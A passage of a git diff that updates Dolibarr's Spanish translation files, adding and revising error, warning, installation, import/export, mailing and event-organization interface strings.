por el campo "%s" ErrorNumRefModel=Hay una referencia en la base de datos (%s) y es incompatible con esta numeración. Elimine la línea o renombre la referencia para activar este módulo. ErrorQtyTooLowForThisSupplier=Cantidad insuficiente para este proveedor o no hay precio definido en este producto para este proveedor ErrorOrdersNotCreatedQtyTooLow=Algunos pedidos no se han creado debido a una cantidad demasiado baja @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Los objetos deben tener el estado 'A ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Los objetos deben tener el estado 'Borrador' o 'Deshabilitad' para ser habilitados ErrorNoFieldWithAttributeShowoncombobox=Ningún campo tiene la propiedad 'showoncombobo' en la definición del objeto '%s'. No hay forma de mostrar el combolist. ErrorFieldRequiredForProduct=El campo '%s' es obligatorio para el producto %s +AlreadyTooMuchPostOnThisIPAdress=Ya has publicado demasiado en esta dirección IP. ProblemIsInSetupOfTerminal=Problema en la configuración del terminal %s. ErrorAddAtLeastOneLineFirst=Introduzca al menos una opción ErrorRecordAlreadyInAccountingDeletionNotPossible=Error, el registro ya se transfirió en contabilidad, la eliminación no es posible. @@ -277,8 +280,8 @@ ErrorWrongFileName=El nombre del archivo no puede contener __SOMETHING__ ErrorNotInDictionaryPaymentConditions=No está en el Diccionario de términos de pago, modifíquelo. ErrorIsNotADraft=%s no es un borrador ErrorExecIdFailed=No se puede ejecutar el comando "id" -ErrorBadCharIntoLoginName=Carácter no autorizado en el nombre de inicio de sesión -ErrorRequestTooLarge=Error, solicitud demasiado grande +ErrorBadCharIntoLoginName=Carácter no autorizado en el campo %s +ErrorRequestTooLarge=Error, solicitud demasiado grande o sesión caducada ErrorNotApproverForHoliday=Usted no es el aprobador del día libre %s ErrorAttributeIsUsedIntoProduct=Este atributo se utiliza en una o más variantes de producto ErrorAttributeValueIsUsedIntoProduct=Este valor de atributo se utiliza en una o más variantes de producto @@ -291,6 +294,16 @@ ErrorAjaxRequestFailed=Solicitud fallida ErrorThirpdartyOrMemberidIsMandatory=Tercero o Miembro de la sociedad es obligatorio ErrorFailedToWriteInTempDirectory=Error al escribir en el directorio temporal ErrorQuantityIsLimitedTo=La cantidad está limitada a %s +ErrorFailedToLoadThirdParty=No se pudo encontrar/cargar un tercero desde id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=Este modo de pago no es una cuenta bancaria +ErrorStripeCustomerNotFoundCreateFirst=El cliente de Stripe no está configurado para este tercero (o configurado en un valor eliminado en el lado de Stripe). Créelo (o vuelva a adjuntarlo) primero. +ErrorCharPlusNotSupportedByImapForSearch=La búsqueda IMAP no puede buscar en el remitente o el destinatario una cadena que contenga el carácter + +ErrorTableNotFound=Tabla %s no encontrada +ErrorValueForTooLow=El valor para %s es demasiado bajo +ErrorValueCantBeNull=El valor para %s no puede ser nulo +ErrorDateOfMovementLowerThanDateOfFileTransmission=La fecha de la transacción bancaria no puede ser anterior a la fecha de transmisión del archivo +ErrorTooMuchFileInForm=Demasiados archivos en el formulario, el número máximo es %s archivo(s) +ErrorSessionInvalidatedAfterPasswordChange=La sesión ha sido invalidada tras un cambio de contraseña, estado o fechas de validez. Vuelva a iniciar sesión. # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=El parámetro PHP upload_max_filesize (%s) es más alto que el parámetro PHP post_max_size (%s). Esta no es una configuración consistente. @@ -304,7 +317,7 @@ WarningConfFileMustBeReadOnly=Atención, su archivo (htdocs/conf/conf.php WarningsOnXLines=Alertas en %s líneas fuente WarningNoDocumentModelActivated=No hay ningún modelo para la generación del documento activado. Se tomará un modelo por defecto hasta que se configure el módulo. WarningLockFileDoesNotExists=Atención: Una vez terminada la instalación, deben desactivarse las herramientas de instalación/actualización añadiendo el archivo install.lock en el directorio %s. La ausencia de este archivo representa un fallo grave de seguridad. -WarningUntilDirRemoved=Las alertas de seguridad sólo son visibles a los administradores y permanecen activas hasta que el problema sea resuelto (o si la constante MAIN_REMOVE_INSTALL_WARNING es definida en Configuración->Varios) +WarningUntilDirRemoved=Esta advertencia de seguridad permanecerá activa mientras la vulnerabilidad esté presente. WarningCloseAlways=Aviso, el cierre es realizado aunque la cantidad total difiera entre los elementos de origen y destino. Active esta funcionalidad con precaución. WarningUsingThisBoxSlowDown=Atención, el uso de este panel provoca serias ralentizaciones en las páginas que muestran este panel. WarningClickToDialUserSetupNotComplete=La configuración de ClickToDial para su cuenta de usuario no está completa (vea la pestaña ClickToDial en su ficha de usuario) @@ -313,6 +326,7 @@ WarningPaymentDateLowerThanInvoiceDate=La fecha de pago (%s) es anterior a la fe WarningTooManyDataPleaseUseMoreFilters=Demasiados datos (más de %s líneas). Utilice más filtros o establezca la constante %s a un límite más alto. WarningSomeLinesWithNullHourlyRate=Algunas veces se realizaron registrod a usuarios, con su precio por hora sin definir. Se utilizó un valor de 0 %s por hora, esto puede dar lugar a la valoración incorrecta del tiempo invertido. WarningYourLoginWasModifiedPleaseLogin=Su cuenta de acceso ha sido modificada. Por razones de seguridad, tendrá que iniciar sesión con su nuevo acceso antes de la próxima acción. +WarningYourPasswordWasModifiedPleaseLogin=Su contraseña fue modificada. Por motivos de seguridad, tendrá que iniciar sesión ahora con su nueva contraseña. WarningAnEntryAlreadyExistForTransKey=Ya existe una entrada para la clave de traducción para este idioma WarningNumberOfRecipientIsRestrictedInMassAction=Atención, el número de destinatarios diferentes está limitado a %scuando se usan las acciones masivas en las listas WarningDateOfLineMustBeInExpenseReportRange=Advertencia, la fecha de la línea no está en el rango del informe de gastos @@ -326,6 +340,8 @@ WarningAvailableOnlyForHTTPSServers=Disponible solo si usa una conexión segura WarningModuleXDisabledSoYouMayMissEventHere=El módulo %s no se ha habilitado. Así que puede perderse muchos eventos aquí. WarningPaypalPaymentNotCompatibleWithStrict=El valor 'Estricto' hace que las funciones de pago en línea no funcionen correctamente. Utilice 'Lax' en su lugar. WarningThemeForcedTo=Advertencia, el tema ha sido forzado a %s por la constante oculta MAIN_FORCETHEME +WarningPagesWillBeDeleted=Advertencia, esto también eliminará todas las páginas/contenedores existentes del sitio web. Debe exportar su sitio web antes, para tener una copia de seguridad para volver a importarlo más tarde. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=La validación automática está deshabilitada cuando la opción para disminuir el stock está configurada en "Validación de facturas". # Validate RequireValidValue = Valor no válido diff --git a/htdocs/langs/es_ES/eventorganization.lang b/htdocs/langs/es_ES/eventorganization.lang index 6b69256cb59..a0748c54a8d 100644 --- a/htdocs/langs/es_ES/eventorganization.lang +++ b/htdocs/langs/es_ES/eventorganization.lang @@ -54,6 +54,7 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = En el formulario para crear/agregar un # Object # EventOrganizationConfOrBooth= Conferencia o cabina +EventOrganizationConfOrBoothes=Conferencias o Stands ManageOrganizeEvent = Gestionar la organización de eventos ConferenceOrBooth = Conferencia o cabina ConferenceOrBoothTab = Conferencia o cabina @@ -114,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Aquí puede votar por una conferencia o sugerir EvntOrgRegistrationConfHelpMessage = Aquí, puede sugerir una nueva conferencia para animar durante el evento. EvntOrgRegistrationBoothHelpMessage = Aquí, puede postularse para tener un stand durante el evento. ListOfSuggestedConferences = Lista de conferencias sugeridas -ListOfSuggestedBooths = Lista de cabinas sugeridas -ListOfConferencesOrBooths=Lista de conferencias o stands del proyecto del evento +ListOfSuggestedBooths=Stands sugeridos +ListOfConferencesOrBooths=Proyecto de conferencias o stands de evento SuggestConference = Sugerir una nueva conferencia SuggestBooth = Sugerir un stand ViewAndVote = Ver y votar eventos sugeridos PublicAttendeeSubscriptionGlobalPage = Enlace público para la inscripción al evento PublicAttendeeSubscriptionPage = Enlace público para registrarse solo en este evento MissingOrBadSecureKey = La clave de seguridad no es válida o falta -EvntOrgWelcomeMessage = Este formulario le permite registrarse como nuevo participante del evento: %s +EvntOrgWelcomeMessage = Este formulario le permite registrarse como nuevo participante del evento EvntOrgDuration = Esta conferencia comienza el %s y termina el %s. ConferenceAttendeeFee = Cuota de asistente a la conferencia para el evento: '%s' que ocurre desde %s a %s. BoothLocationFee = Ubicación del stand para el evento: '%s' que ocurre desde %s a %s @@ -132,7 +133,7 @@ LabelOfconference=Etiqueta de conferencia ConferenceIsNotConfirmed=La inscripción no está disponible, la conferencia aún no está confirmada. DateMustBeBeforeThan=%s debe ser anterior a %s DateMustBeAfterThan=%s debe ser posterior a %s - +MaxNbOfAttendeesReached=Se ha alcanzado el número máximo de participantes NewSubscription=Registro OrganizationEventConfRequestWasReceived=Se ha recibido su sugerencia para una conferencia OrganizationEventBoothRequestWasReceived=Se ha recibido su solicitud de stand @@ -157,7 +158,7 @@ VoteOk = Tu voto ha sido aceptado. AlreadyVoted = Ya has votado por este evento. VoteError = Se produjo un error durante la votación, inténtelo de nuevo. -SubscriptionOk = Tu registro ha sido validado +SubscriptionOk=Su registro ha sido registrado ConfAttendeeSubscriptionConfirmation = Confirmación de su suscripción a un evento Attendee = Asistente PaymentConferenceAttendee = Pago de asistentes a la conferencia @@ -165,8 +166,11 @@ PaymentBoothLocation = Pago por ubicación de stand DeleteConferenceOrBoothAttendee=Eliminar asistente RegistrationAndPaymentWereAlreadyRecorder=Ya se registró un registro y un pago para el e-mail %s EmailAttendee=E-mail del asistente +EmailCompany=Correo electrónico de la empresa EmailCompanyForInvoice=E-mailde la empresa (para la factura, si es diferente del e-mail del asistente) ErrorSeveralCompaniesWithEmailContactUs=Se han encontrado varias empresas con este e-mail, por lo que no podemos validar automáticamente su registro. Póngase en contacto con nosotros en %s para una validación manual ErrorSeveralCompaniesWithNameContactUs=Se han encontrado varias empresas con este nombre por lo que no podemos validar automáticamente su registro. Póngase en contacto con nosotros en %s para una validación manual NoPublicActionsAllowedForThisEvent=No hay acciones públicas abiertas al público para este evento. MaxNbOfAttendees=Número máximo de asistentes +DateStartEvent=Fecha de inicio del evento +DateEndEvent=Fecha de finalización del evento diff --git a/htdocs/langs/es_ES/exports.lang b/htdocs/langs/es_ES/exports.lang index 06a1de08316..d70f6bc6389 100644 --- a/htdocs/langs/es_ES/exports.lang +++ b/htdocs/langs/es_ES/exports.lang @@ -18,6 +18,7 @@ ExportableFields=Campos exportables ExportedFields=Campos a exportar ImportModelName=Nombre del perfil de importación ImportModelSaved=Perfil de importación guardado como %s. +ImportProfile=Importar perfil DatasetToExport=Conjunto de datos a exportar DatasetToImport=Lote de datos a importar ChooseFieldsOrdersAndTitle=Elija el orden de los campos... @@ -53,8 +54,9 @@ TypeOfLineServiceOrProduct=Tipo de línea (0=producto, 1=servicio) FileWithDataToImport=Archivo que contiene los datos a importar FileToImport=Archivo origen a importar FileMustHaveOneOfFollowingFormat=El archivo de importación debe tener uno de los siguientes formatos -DownloadEmptyExample=Download a template file with examples and information on fields you can import -StarAreMandatory=Into the template file, all fields with a * are mandatory fields +DownloadEmptyExampleShort=Descargar un archivo de muestra +DownloadEmptyExample=Descargue un archivo de plantilla con ejemplos e información sobre los campos que puede importar +StarAreMandatory=En el archivo de plantilla, todos los campos con un * son campos obligatorios ChooseFormatOfFileToImport=Elija el formato de archivo que desea importar haciendo en la imagen %s para seleccionarlo... ChooseFileToImport=Cargue el archivo y luego haga clic en el icono %s para seleccionar el archivo como archivo de importación de origen ... SourceFileFormat=Formato del archivo origen @@ -82,7 +84,7 @@ SelectFormat=Seleccione este formato de archivo de importación RunImportFile=Importación de datos NowClickToRunTheImport=Compruebe los resultados de la simulación de importación. Corrija los errores y vuelva a realizar la prueba.
      Cuando la simulación no muestre errores, puede proceder a importar los datos a la base de datos. DataLoadedWithId=Los datos importados tendrán un campo adicional en cada tabla de base de datos con este ID de importación: %s, para permitir su búsqueda en el caso de investigar un problema relacionado con esta importación. -ErrorMissingMandatoryValue=Dato obligatorio no indicado en el archivo fuente, campo número %s. +ErrorMissingMandatoryValue=Los datos obligatorios están vacíos en el archivo de origen en la columna %s . TooMuchErrors=Todavía hay %s líneas con error, pero su visualización ha sido limitada. TooMuchWarnings=Todavía hay %s líneas con warnings, pero su visualización ha sido limitada. EmptyLine=Línea en blanco @@ -92,9 +94,9 @@ YouCanUseImportIdToFindRecord=Puede encontrar los registros de esta importación NbOfLinesOK=Número de líneas sin errores ni warnings: %s. NbOfLinesImported=Número de líneas correctamente importadas: %s. DataComeFromNoWhere=El valor a insertar no corresponde a ningún campo del archivo origen. -DataComeFromFileFieldNb=El valor a insertar se corresponde al campo número %s del archivo origen. -DataComeFromIdFoundFromRef=El valor dado por el campo %s del archivo origen será utilizado para encontrar el ID del objeto padre a usar (el objeto %s con la referencia del archivo origen debe existir en Dolibarr). -DataComeFromIdFoundFromCodeId=El código del campo número %s del archivo de origen se utilizará para encontrar el id del objeto padre a usar (el código del archivo de origen debe existir en el diccionario %s). Tenga en cuenta que si conoce el id, puede usarlo en lugar del código en el archivo de origen. La importación funcionará en los 2 casos. +DataComeFromFileFieldNb=El valor a insertar proviene de la columna %s en el archivo fuente. +DataComeFromIdFoundFromRef=El valor que proviene del archivo fuente se usará para encontrar la identificación del objeto principal que se usará (por lo que el objeto %s que tiene la referencia del archivo fuente debe existir en la base de datos). +DataComeFromIdFoundFromCodeId=El valor del código que proviene del archivo fuente se usará para encontrar la identificación del objeto principal que se usará (por lo que el código del archivo fuente debe existir en el diccionario %s ). Tenga en cuenta que si conoce la identificación, también puede usarla en el archivo fuente en lugar del código. La importación debería funcionar en ambos casos. DataIsInsertedInto=Los datos del archivo de origen se insertarán en el siguiente campo: DataIDSourceIsInsertedInto=El ID del objeto padre encontrado a partir del dato origen, se insertará en el siguiente campo: DataCodeIDSourceIsInsertedInto=El id de la línea padre encontrada a partir del código, se insertará en el siguiente campo: @@ -132,9 +134,14 @@ FormatControlRule=Regla formato de control ## imports updates KeysToUseForUpdates=Clave (columna) a usar para actualizar datos existentes NbInsert=Número de líneas añadidas: %s +NbInsertSim=Número de líneas que se insertarán: %s NbUpdate=Número de líneas actualizadas: %s +NbUpdateSim=Número de líneas que se actualizarán: %s MultipleRecordFoundWithTheseFilters=Se han encontrado varios registros con estos filtros: %s StocksWithBatch=Existencias y ubicación (almacén) de productos con número de lote / serie -WarningFirstImportedLine=The first line(s) will not be imported with the current selection -NotUsedFields=Fields of database not used -SelectImportFieldsSource = Choose the source file fields you want to import and their target field in database by choosing the fields in each select boxes, or select a predefined import profile: +WarningFirstImportedLine=La primera(s) línea(s) no se importarán con la selección actual +NotUsedFields=Campos de la base de datos no utilizados +SelectImportFieldsSource = Elija los campos del archivo de origen que desea importar y su campo de destino en la base de datos eligiendo los campos en cada cuadro de selección, o seleccione un perfil de importación predefinido: +MandatoryTargetFieldsNotMapped=Algunos campos de destino obligatorios no están asignados +AllTargetMandatoryFieldsAreMapped=Todos los campos de destino que necesitan un valor obligatorio se asignan +ResultOfSimulationNoError=Resultado de la simulación: Sin error diff --git a/htdocs/langs/es_ES/install.lang b/htdocs/langs/es_ES/install.lang index a547fdfe6b7..4d9d543c780 100644 --- a/htdocs/langs/es_ES/install.lang +++ b/htdocs/langs/es_ES/install.lang @@ -28,6 +28,7 @@ ErrorPHPVersionTooLow=Versión de PHP demasiado antigua. Se requiere la versión ErrorPHPVersionTooHigh=Versión de PHP demasiado alta. Se requiere la versión %s o anterior. ErrorConnectedButDatabaseNotFound=La conexión al servidor es correcta pero no se encuentra la base de datos '%s' ErrorDatabaseAlreadyExists=La base de datos '%s' ya existe. +ErrorNoMigrationFilesFoundForParameters=No se encontró ningún archivo de migración para las versiones seleccionadas IfDatabaseNotExistsGoBackAndUncheckCreate=Si la base de datos no existe, vuelva atrás y active la opción "Crear base de datos" IfDatabaseExistsGoBackAndCheckCreate=Si la base de datos ya existe, vuelva atrás y desactive la opción "crear la base de datos". WarningBrowserTooOld=Su navegador es muy antiguo. Le recomendamos que actualice a una versión reciente de Firefox, Chrome u Opera. @@ -50,7 +51,6 @@ DatabaseName=Nombre de la base de datos DatabasePrefix=Prefijo para las tablas DatabasePrefixDescription=Prefijo de tabla de base de datos. Si está vacío, el valor predeterminado es llx_. AdminLogin=Usuario del administrador de la base de datos Dolibarr. -PasswordAgain=Verificación de la contraseña AdminPassword=Contraseña del administrador de la base de datos Dolibarr. Deje vacío si se conecta en anonymous CreateDatabase=Crear la base de datos CreateUser=Crear propietario o concederle permiso en la base de datos @@ -88,7 +88,7 @@ LoginAlreadyExists=Ya existe DolibarrAdminLogin=Login del usuario administrador de Dolibarr AdminLoginAlreadyExists=La cuenta de administrador Dolibarr '%s' ya existe. Vuelva atrás si desea crear otra. FailedToCreateAdminLogin=No se pudo crear la cuenta de administrador Dolibarr. -WarningRemoveInstallDir=Atención, por razones de seguridad, con el fin de bloquear un nuevo uso de las herramientas de instalación/actualización, es aconsejable crear en el directorio de documentos de Dolibarr un archivo llamado install.lock en solo lectura para prevenir el uso accidental/malicioso de las herramientas de instalación nuevamente. +WarningRemoveInstallDir=Advertencia, por razones de seguridad, una vez que se completa el proceso de instalación, debe agregar un archivo llamado install.lock en el directorio documents de Dolibarr para evitar el uso accidental/malicioso de las herramientas de instalación nuevamente. FunctionNotAvailableInThisPHP=No disponible en este PHP ChoosedMigrateScript=Elección del script de migración DataMigration=Migración de los datos (datos) @@ -208,7 +208,12 @@ HideNotAvailableOptions=Ocultar opciones no disponibles ErrorFoundDuringMigration=Se ha producido un error durante el proceso de migración, por lo que el siguiente paso no está disponible. Para ignorar errores puede hacer clic aquí, pero la aplicación a algunas funcionalidades pueden no funcionar correctamente mientras no se arregle el problema. YouTryInstallDisabledByDirLock=La aplicación intenta instalar la actualización, pero las páginas de instalación/actualización se han desactivado por razones de seguridad (el nombre del directorio se ha cambiado con el sufijo .lock).
      YouTryInstallDisabledByFileLock=La aplicación intenta instalar la actualización, pero las páginas de instalación/actualización se han desactivado por razones de seguridad (mediante el archivo de bloqueo install.lock del directorio de documentos de dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=La aplicación intentó autoactualizarse, pero el proceso de actualización actualmente no está permitido.
      ClickHereToGoToApp=Haga clic aquí para ir a su aplicación ClickOnLinkOrRemoveManualy=Si hay una actualización en curso, espere. Si no, haga clic en el siguiente enlace. Si siempre ve esta misma página, debe eliminar/cambiar el nombre del archivo install.lock en el directorio de documentos. +ClickOnLinkOrCreateUnlockFileManualy=Si hay una actualización en curso, espere... De lo contrario, debe crear un archivo upgrade.unlock en el directorio de documentos de Dolibarr. Loaded=Cargado FunctionTest=Prueba de funcionamiento +NodoUpgradeAfterDB=Ninguna acción solicitada por módulos externos después de la actualización de la base de datos +NodoUpgradeAfterFiles=Ninguna acción solicitada por módulos externos después de la actualización de archivos o directorios +MigrationContractLineRank=Migrar Línea de contrato para usar Rango (y habilitar Reordenar) diff --git a/htdocs/langs/es_ES/interventions.lang b/htdocs/langs/es_ES/interventions.lang index b335c533713..600158c7349 100644 --- a/htdocs/langs/es_ES/interventions.lang +++ b/htdocs/langs/es_ES/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Oculta horas y minutos fuera del campo de fecha pa InterventionStatistics=Estadísticas de intervenciones NbOfinterventions=Nº de fichas de intervención NumberOfInterventionsByMonth=Nº de fichas de intervención por mes (fecha de validación) -AmountOfInteventionNotIncludedByDefault=Las cantidades de la intervención no se incluye por defecto en los beneficios (en la mayoría de los casos, las hojas de tiempo se utilizan para contar el tiempo invertido). Añada la opción PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT con valor 1 en Inicio-Configuración-Varios para incluirlos. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=Id. intervención InterRef=Ref. intervención InterDateCreation=Fecha creación intervención @@ -66,8 +66,7 @@ RepeatableIntervention=Plantilla de intervención ToCreateAPredefinedIntervention=Para crear una intervención predefinida o recurrente, cree una intervención común y conviértala en plantilla de intervención ConfirmReopenIntervention=¿Está seguro de querer volver a abrir la intervención %s ? GenerateInter=Generar intervención -FichinterNoContractLinked=La intervención %s se ha creado sin un contacto vinculado. -ErrorFicheinterCompanyDoesNotExist=La compañía no existe, la intervención no se ha creado. +FichinterNoContractLinked=La intervención %s se ha creado sin un contrato vinculado. +ErrorFicheinterCompanyDoesNotExist=La empresa no existe. No se ha creado la intervención. NextDateToIntervention=Fecha para la próxima generación de intervención -AllowOnlineSign=Permitir firma online -AllowExternalDownload=Permitir descarga externa \ No newline at end of file +NoIntervention=Sin intervención diff --git a/htdocs/langs/es_ES/loan.lang b/htdocs/langs/es_ES/loan.lang index a40c0739249..0c8223a69d6 100644 --- a/htdocs/langs/es_ES/loan.lang +++ b/htdocs/langs/es_ES/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = No se puede generar una línea de tiempo CantModifyInterestIfScheduleIsUsed = No puede modificar el interés si usa el programador # Admin ConfigLoan=Configuración del módulo préstamos -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Cuenta contable por defecto para el capital -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Cuenta contable por defecto para el interés -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Cuenta contable por defecto para el seguro +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Editar el prestamo diff --git a/htdocs/langs/es_ES/mailmanspip.lang b/htdocs/langs/es_ES/mailmanspip.lang index 55657883dc2..6e91e73e6a3 100644 --- a/htdocs/langs/es_ES/mailmanspip.lang +++ b/htdocs/langs/es_ES/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Suscripción de prueba ejecutada correctamente MailmanDeletionSuccess=Desuscripción de prueba fue ejecutada correctamente SynchroMailManEnabled=Una actualización de Mailman será efectuada SynchroSpipEnabled=Una actualización de Mailman será efectuada -DescADHERENT_MAILMAN_ADMINPW=Contraseña de administrador Mailman +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Contraseña de administrador Mailman DescADHERENT_MAILMAN_URL=URL para las suscripciones Mailman DescADHERENT_MAILMAN_UNSUB_URL=URL para las desuscripciones Mailman DescADHERENT_MAILMAN_LISTS=Lista(s) para la suscripción automática de los nuevos miembros (separados por comas) diff --git a/htdocs/langs/es_ES/mails.lang b/htdocs/langs/es_ES/mails.lang index d79f9eeeea8..848b68a43f5 100644 --- a/htdocs/langs/es_ES/mails.lang +++ b/htdocs/langs/es_ES/mails.lang @@ -7,10 +7,10 @@ MailCard=Ficha E-Mailing MailRecipients=Destinatarios MailRecipient=Destinatario MailTitle=Descripción -MailFrom=Remitente +MailFrom=De MailErrorsTo=Errores a MailReply=Responder a -MailTo=Destinatario(s) +MailTo=Enviar a MailToUsers=A usuario(s) MailCC=Copia a MailToCCUsers=Copia a usuario(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contactos por posición MailingModuleDescEmailsFromFile=E-mails de archivo MailingModuleDescEmailsFromUser=E-mails enviados por usuario MailingModuleDescDolibarrUsers=Usuarios con e-mails -MailingModuleDescThirdPartiesByCategories=Terceros (por categoría) +MailingModuleDescThirdPartiesByCategories=Terceros SendingFromWebInterfaceIsNotAllowed=El envío desde la interfaz web no está permitido. EmailCollectorFilterDesc=Todos los filtros deben coincidir para que se recopile un e-mail @@ -179,3 +179,4 @@ RecordCreatedByEmailCollector=Registro creado por el Recopilador de E-Mails %s d DefaultBlacklistMailingStatus=Valor predeterminado para el campo '%s' al crear un nuevo contacto DefaultStatusEmptyMandatory=Vacío pero obligatorio WarningLimitSendByDay=ADVERTENCIA: La configuración o el contrato de su instancia limita su número de correos electrónicos por día a %s . Intentar enviar más puede provocar que su instancia se ralentice o se suspenda. Póngase en contacto con su soporte si necesita una cuota más alta. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/es_ES/main.lang b/htdocs/langs/es_ES/main.lang index 00488783f8a..1537957a9b4 100644 --- a/htdocs/langs/es_ES/main.lang +++ b/htdocs/langs/es_ES/main.lang @@ -34,6 +34,7 @@ NoTemplateDefined=Sin plantilla definida para este tipo de e-mail AvailableVariables=Variables de substitución disponibles NoTranslation=Sin traducción Translation=Traducción +Translations=Traducciones CurrentTimeZone=Zona horaria PHP (Servidor) EmptySearchString=Ingrese una cadena de búsqueda no vacía EnterADateCriteria=Ingrese un criterio de fecha @@ -205,6 +206,7 @@ Valid=Validar Approve=Aprobar Disapprove=Desaprobar ReOpen=Reabrir +OpenVerb=Abierto Upload=Enviar archivo ToLink=Enlace Select=Seleccionar @@ -222,8 +224,9 @@ UserGroup=Grupo de usuario UserGroups=Grupos de Usuarios NoUserGroupDefined=No hay definido grupo de usuarios Password=Contraseña -PasswordRetype=Repetir contraseña +PasswordRetype=Repite tu contraseña NoteSomeFeaturesAreDisabled=Atención, sólo unos pocos módulos/funcionalidades han sido activados en esta demo. +YourUserFile=Tu ficha de usuario Name=Nombre NameSlashCompany=Nombre / Empresa Person=Persona @@ -487,6 +490,7 @@ ActionsOnContact=Eventos de este contacto/dirección ActionsOnContract=Eventos respecto al contrato ActionsOnMember=Eventos respecto a este miembro ActionsOnProduct=Eventos sobre este producto +ActionsOnAsset=Eventos para este activo fijo NActionsLate=%s en retraso ToDo=A realizar Completed=Realizado @@ -808,6 +812,7 @@ URLPhoto=Url de la foto/logo SetLinkToAnotherThirdParty=Vincular a otro tercero LinkTo=Enlazar a LinkToProposal=Enlazar a presupuesto +LinkToExpedition= Enlace a la expedición LinkToOrder=Enlazar a pedido LinkToInvoice=Enlazar a factura LinkToTemplateInvoice=Enlazar a plantilla de factura @@ -893,6 +898,9 @@ MassFilesArea=Área de archivos generados por acciones masivas ShowTempMassFilesArea=Mostrar área de archivos generados por acciones masivas ConfirmMassDeletion=Confirmación de borrado en lote ConfirmMassDeletionQuestion=¿Estás seguro que quieres eliminar los %s registro(s) seleccionado(s)? +ConfirmMassClone=Confirmación de clonación masiva +ConfirmMassCloneQuestion=Seleccionar proyecto para clonar +ConfirmMassCloneToOneProject=Clonar al proyecto %s RelatedObjects=Objetos relacionados ClassifyBilled=Clasificar facturado ClassifyUnbilled=Clasificar no facturado @@ -908,13 +916,14 @@ ExportFilteredList=Listado filtrado de exportación ExportList=Listado de exportación ExportOptions=Opciones de exportación IncludeDocsAlreadyExported=Incluir documentos ya exportados -ExportOfPiecesAlreadyExportedIsEnable=Exportar piezas ya exportadas está activado -ExportOfPiecesAlreadyExportedIsDisable=Exportar piezas ya exportadas está desactivado +ExportOfPiecesAlreadyExportedIsEnable=Los documentos ya exportados son visibles y se exportarán +ExportOfPiecesAlreadyExportedIsDisable=Los documentos ya exportados están ocultos y no se exportarán AllExportedMovementsWereRecordedAsExported=Todos los movimientos exportados han sido registrados como exportados NotAllExportedMovementsCouldBeRecordedAsExported=No todos los movimientos exportados pueden ser registrados como exportados Miscellaneous=Miscelánea Calendar=Calendario GroupBy=Agrupado por... +GroupByX=Agrupar por %s ViewFlatList=Ver lista plana ViewAccountList=Ver libro mayor ViewSubAccountList=Ver libro mayor de subcuenta @@ -926,7 +935,7 @@ DirectDownloadInternalLink=Enlace de descarga privado PrivateDownloadLinkDesc=Debe iniciar sesión y necesita permisos para ver o descargar el archivo Download=Descargar DownloadDocument=Descargar el documento -DownloadSignedDocument=Descargar el documento firmado +DownloadSignedDocument=Descargar documento firmado ActualizeCurrency=Actualizar el tipo de cambio Fiscalyear=Año fiscal ModuleBuilder=Módulo Builder @@ -1052,6 +1061,7 @@ SearchIntoContracts=Contratos SearchIntoCustomerShipments=Envíos a clientes SearchIntoExpenseReports=Informes de gastos SearchIntoLeaves=Día libre +SearchIntoKM=Base de Conocimientos SearchIntoTickets=Tickets SearchIntoCustomerPayments=Pagos de clientes SearchIntoVendorPayments=Pagos a proveedor @@ -1123,6 +1133,7 @@ DeleteFileText=¿Realmente quieres eliminar este archivo? ShowOtherLanguages=Mostrar otros idiomas SwitchInEditModeToAddTranslation=Cambie al modo de edición para agregar traducciones para este idioma NotUsedForThisCustomer=No se utiliza para este cliente. +NotUsedForThisVendor=No se utiliza para este proveedor AmountMustBePositive=El importe debe ser positivo ByStatus=Por estado InformationMessage=Información @@ -1143,15 +1154,29 @@ EventReminder=Recordatorio evento UpdateForAllLines=Actualización para todas las líneas OnHold=En espera Civility=Título Cortesía -AffectTag=Afectar etiqueta +AffectTag=Asignar una etiqueta +AffectUser=Asignar un usuario +SetSupervisor=Establecer el supervisor CreateExternalUser=Crear usuario externo -ConfirmAffectTag=Afectar etiquetas masivas -ConfirmAffectTagQuestion=¿Está seguro de que desea asignar las etiquetas a los %s registros seleccionados? +ConfirmAffectTag=Asignación de etiquetas masivas +ConfirmAffectUser=Asignación masiva de usuarios +ProjectRole=Rol asignado en cada proyecto/oportunidad +TasksRole=Rol asignado en cada tarea (si se usa) +ConfirmSetSupervisor=Conjunto de supervisor masivo +ConfirmUpdatePrice=Elija una tarifa de precio de aumento/disminución +ConfirmAffectTagQuestion=¿Está seguro de que desea asignar etiquetas a los registros seleccionados %s? +ConfirmAffectUserQuestion=¿Está seguro de que desea asignar usuarios a los registros seleccionados %s? +ConfirmSetSupervisorQuestion=¿Está seguro de que desea configurar el supervisor para los %sregistros seleccionados? +ConfirmUpdatePriceQuestion=¿Está seguro de que desea actualizar el precio de los %sregistros seleccionados? CategTypeNotFound=No se encontró ningún tipo de etiqueta para el tipo de registros 